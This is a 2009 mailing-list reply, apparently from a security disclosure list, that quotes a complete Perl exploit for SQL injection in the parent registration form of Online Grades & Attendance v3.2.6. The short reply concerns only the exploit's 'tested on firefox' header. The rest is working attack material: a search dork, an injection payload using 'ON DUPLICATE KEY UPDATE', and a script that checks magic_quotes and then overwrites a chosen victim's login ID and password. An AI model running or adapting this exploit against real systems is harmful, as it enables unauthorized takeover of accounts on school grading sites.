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Re: Re: (Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT -- Online Grades & Attendance v-3.2.6-->
From: y3nh4ck3r () gmail com
Date: 1 Jun 2009 19:54:01 -0000

Of course not. I include this information to report in details

Then...when do you need a browser to launch a perl exploit?

Why do you include "TESTED ON: firefox 3"? Would you not be able to
trigger this bug using other browsers?

On Sun, May 31, 2009 at 8:53 PM, <y3nh4ck3r (at) gmail (dot) com [email concealed]> wrote:
#!/usr/bin/perl
#-----------------------------------------------------------------------
--------------------------------------------
#(Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT -- Online Grades & Attendance v-3.2.6-->
#-----------------------------------------------------------------------
--------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://www.onlinegrades.org/
#-->DOWNLOAD: http://www.onlinegrades.org/
#-->DEMO: http://www.onlinegrades.org/demo_info
#-->CATEGORY: CMS / Education
#-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same
#               features plus many new features. OG is a web based grade...
#-->RELEASED: 2009-02-05
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "Powered by Online Grades"
#-->CATEGORY: SQL INJECTION
#-->AFFECT VERSION: <= 3.2.6
#-->Discovered Bug date: 2009-05-21
#-->Reported Bug date: 2009-05-21
#-->Fixed bug date: Not fixed
#-->Info patch: Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Option --> Self Registration --> Allowed (Default value)
#
#-------
#NEED:
#-------
#
#Valid parent id
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (name) is vuln to sql injection.
#
#Full name --> y3nh4ck3r', id=1 ON DUPLICATE KEY UPDATE client_id='owned'#
#
#Other parameters --> something
#
#
#Return: Change client_id to 'owned' for parent id=1
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
       my $SO = $^O;
       my $linux = "";
       if (index(lc($SO),"win")!=-1){
               $linux="0";
       }else{
               $linux="1";
       }
       if($linux){
               system("clear");
       }
       else{
               system("cls");
               system ("title Online Grades Attendance v-3.2.6 (Credentials changer) Exploit");
               system ("color 02");
       }
}
sub request {
       my $userag = LWP::UserAgent->new;
       $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
       if($_[2] eq "post"){
               $request = HTTP::Request -> new(POST => $_[0]);
               $request->referer($_[0]);
               $request->content_type('application/x-www-form-urlencoded');
               $request->content($_[1]);
       }else{
               $request = HTTP::Request -> new(GET => $_[0]);
       }
       my $outcode= $userag->request($request)->as_string;
       return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
       print "\tWeb isn't vulnerable!\n\n";
       print "\t--->Maybe:\n\n";
       print "\t\t1.-Patched.\n";
       print "\t\t2.-Bad path or host.\n";
       print "\t\tEXPLOIT FAILED!\n";
       print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
       print "\tWeb isn't vulnerable!\n\n";
       print "\t\tRaison--> Magic quotes ON.\n";
       print "\t\tEXPLOIT FAILED!\n";
       print "\t------------------------------------------------------------\n";
}
sub helper {
       print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 (Credentials changer) Exploit\n";
       print "\t[!!!] USAGE MODE: [!!!]\n";
       print "\t[!!!] perl $0 [HOST] [PATH] [Email Address] [Password] [Target_id]\n";
       print "\t[!!!] [HOST]: Web.\n";
       print "\t[!!!] [PATH]: Home Path.\n";
       print "\t[!!!] [Email Address]: Set value\n";
       print "\t[!!!] [Password]: Set value\n";
       print "\t[!!!] [Target_id]: victim id\n";
       print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'y3nh4ck3r' 'y3nh4ck3r' '1' \n";
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           (Credentials changer) Exploit           ##\n\n";
print "\t##         ++Conditions: magic_quotes=OFF            ##\n\n";
print "\t##         ++Needed: Valid parent id                 ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $client_id=$ARGV[2];
my $client_pw=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3)
       {
               &helper;
               exit(1);
       }
       if(!$ARGV[4]){
               $target_id=1;
       }else{
               $target_id=$ARGV[4];
       }

#Build uri
my $finalhost="http://".$host."/".$path."/parents/register.php?action=regis
ter";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";;
#sql injection
$injection="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$values."'#";
$post="name=".$injection."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&p
ass2=y3nh4ck3r";
$output=&request($phpinfo,0,'get');
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td 
class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
       &errormagicquotes;
       exit(1);
}
$injection_email="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$client_id."'#";
$post="name=".$injection_email."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4
ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
$injection_pw="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_pw='".$client_pw."'#";
$post="name=".$injection_pw."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3
r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
#processed
if($output!~(/\<strong\>ERROR\<\/strong\>/))
{
               print "\n\t-----------------------------------------------------------------\n
";
               print "\t--  EXPLOIT EXECUTED (Online Grades & Attendance <= v-3.2.6)   --\n";
               print "\t--                  (Credentials changer) Exploit              --\n";
               print "\t-----------------------------------------------------------------\n\n
";
               print "\t\tParent credentials changed!\n\n";
               print "\t\tIf id doesn't exist, you add a new inconsistent user!\n\n";
               print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
               print "\t<<<<<<--------------Thanks to: y3hn4ck3r------------>>>>>>>\n\n";
               print "\t<<<<<<-----------------------EOF-------------------->>>>>>>\n\n";
}else{
       &error;
}
exit(1);
#Ok...all job done



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